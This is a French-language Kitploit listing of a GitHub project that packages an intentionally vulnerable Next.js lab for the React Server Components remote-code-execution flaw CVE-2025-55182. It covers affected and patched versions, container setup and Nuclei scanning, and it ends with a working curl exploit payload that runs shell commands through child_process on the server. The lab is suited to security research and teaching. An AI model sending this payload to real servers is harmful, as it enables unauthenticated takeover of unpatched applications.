Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
React2Shell-CVE-2025-55182-Testing-Environment — Un environnement de test conteneurisé pour CVE-2025-55182, une vulnérabilité critique (score CVSS 10.0) d'exécution de code à distance dans React Server Components. | Kitploit
Outils/GitHubGitHub/abcfabian/react2shell-cve-2025-55182-testing-environment
Sécurité des ConteneursAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubabcfabian/react2shell-cve-2025-55182-testing-environment

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

React2Shell-CVE-2025-55182-Testing-Environment

Un environnement de test conteneurisé pour CVE-2025-55182, une vulnérabilité critique (score CVSS 10.0) d'exécution de code à distance dans React Server Components.

Voir le dépôt
1il y a 8 moisPas encore vérifié

React2Shell (CVE-2025-55182) Environnement de test

Un environnement de test conteneurisé pour CVE-2025-55182, une vulnérabilité critique (10.0 CVSS) d'exécution de code à distance dans les React Server Components.

⚠️ AVERTISSEMENT

Cet environnement est intentionnellement vulnérable et doit UNIQUEMENT être utilisé pour :

  • Recherche et éducation en sécurité
  • Tests de pénétration dans des environnements isolés
  • Compréhension des mécanismes de la vulnérabilité

NE PAS :

  • Déployer ceci en production
  • Exposer ceci à Internet
  • Utiliser à des fins malveillantes

Détails de la vulnérabilité

  • CVE: CVE-2025-55182 (React), CVE-2025-66478 (Next.js)
  • Sévérité : Critique (10.0)
  • Type : Exécution de code à distance non authentifiée
  • Affecté : React Server Components dans Next.js 15.x/16.x App Router
  • Faiblesse : CWE-502 (Désérialisation de données non fiables)

Versions affectées

Paquets React :

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0

Next.js :

  • 15.0.0 - 15.0.4
  • 15.1.0 - 15.1.8
  • 15.2.0 - 15.2.5
  • 15.3.0 - 15.3.5
  • 15.4.0 - 15.4.7
  • 15.5.0 - 15.5.6
  • 16.0.0 - 16.0.6

Versions corrigées

React : 19.0.1, 19.1.2, 19.2.1 Next.js : 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

Démarrage rapide

Avec Podman (macOS)

root@kitploit:~
# Build and start the vulnerable environment
podman compose up --build -d

# Check it's running
curl http://localhost:3000/api/status

# View logs
podman logs -f react2shell-vuln

# Stop
podman compose down

Avec Docker Compose

root@kitploit:~
# Build and start the vulnerable environment
docker-compose up --build -d

# Access the application at http://localhost:3000

Structure du projet

root@kitploit:~
.
├── README.md               # Ce fichier
├── Dockerfile              # Instructions de construction du conteneur
├── Dockerfile.dev          # Conteneur de développement avec rechargement à chaud
├── docker-compose.yml      # Configuration Docker/Podman Compose
├── CVE-2025-55182.yaml     # Modèle de scanner Nuclei
├── scan.sh                 # Script de scanner Nuclei généraliste
├── scan-results/           # Répertoire de sortie du scan
└── vulnerable-app/         # Application Next.js vulnérable
    ├── package.json        # Dépendances (versions vulnérables)
    ├── next.config.js      # Configuration Next.js
    ├── tsconfig.json       # Configuration TypeScript
    └── app/                # Pages et composants App Router
        ├── layout.tsx      # Mise en page racine
        ├── page.tsx        # Page principale avec Server Components
        ├── globals.css     # Styles
        ├── actions.ts      # Actions serveur
        ├── api/status/     # Point de terminaison de l'API de statut
        └── components/     # Composants React

Analyse de la vulnérabilité

Téléchargement du modèle Nuclei

Si vous n'avez pas le modèle, téléchargez-le depuis le dépôt officiel nuclei-templates :

root@kitploit:~
curl -o CVE-2025-55182.yaml https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-55182.yaml

Utilisation du script de scan

Le fichier scan.sh inclus est un scanner de conteneur Nuclei généraliste qui fonctionne à la fois avec Docker et Podman.

root@kitploit:~
# Scan the local vulnerable app
./scan.sh -u http://host.docker.internal:3000 -t CVE-2025-55182.yaml -v

# Scan any target
./scan.sh -u https://example.com -t CVE-2025-55182.yaml

# Scan with all Nuclei templates
./scan.sh -u https://example.com

# Scan multiple targets from a file
./scan.sh -l targets.txt -t CVE-2025-55182.yaml

# Filter by severity
./scan.sh -u https://example.com -s critical,high

# JSON output
./scan.sh -u https://example.com -t CVE-2025-55182.yaml -j

Options du scanner

Analyse Nuclei manuelle (Podman)

root@kitploit:~
podman run --rm \
    -v "$(pwd)/CVE-2025-55182.yaml:/templates/CVE-2025-55182.yaml:ro" \
    docker.io/projectdiscovery/nuclei:latest \
    -t /templates/CVE-2025-55182.yaml \
    -u "http://host.docker.internal:3000" \
    -v

Test de la vulnérabilité

Une fois le conteneur en cours d'exécution :

  1. Accédez à l'application sur http://localhost:3000
  2. Vérifiez l'API de statut : http://localhost:3000/api/status
  3. Lancez le scanner pour vérifier la détection de la vulnérabilité
  4. L'application utilise React Server Components via Next.js App Router

Remarque : La vulnérabilité implique une désérialisation non sécurisée dans le protocole RSC. Le modèle Nuclei teste ce vecteur d'attaque spécifique.

Passage à la version corrigée

Pour tester la version corrigée, modifiez vulnerable-app/package.json :

root@kitploit:~
{
  "dependencies": {
    "next": "15.5.7",
    "react": "^19.1.2",
    "react-dom": "^19.1.2"
  }
}

Puis reconstruisez :

root@kitploit:~
# Podman
podman compose down
podman compose up --build -d

# Docker
docker-compose down
docker-compose up --build

Références

  • Avis de sécurité React
  • Avis de sécurité Next.js
  • Article de blog React
  • react2shell.com
  • Modèles Nuclei

Avertissement

Cet environnement de test est fourni uniquement à des fins éducatives et de recherche en sécurité. Les mainteneurs ne sont pas responsables de toute utilisation abusive de ce logiciel. Obtenez toujours une autorisation appropriée avant de tester des vulnérabilités de sécurité.

Exemple d'exploitation avec Curl

root@kitploit:~
curl -X POST http://localhost:3000 \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
  -H "X-Nextjs-Request-Id: test123" \
  --data-binary $'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\\"then\\":\\"$B1337\\"}",
  "_response": {
    "_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary--' \
  -i 2>&1 | grep -i "x-action-redirect"
Télécharger l’outil
OptionDescription
-u, --url <url>URL cible unique à analyser
-l, --list <file>Fichier contenant une liste d'URL cibles
-t, --template <file>Fichier ou répertoire de modèle personnalisé
-o, --output <dir>Répertoire de sortie (par défaut : ./scan-results)
-s, --severity <level>Filtre : info, low, medium, high, critical
-r, --rate-limit <n>Nombre maximal de requêtes par seconde
-j, --jsonAfficher les résultats au format JSON
-v, --verboseSortie détaillée
-h, --helpAfficher le message d'aide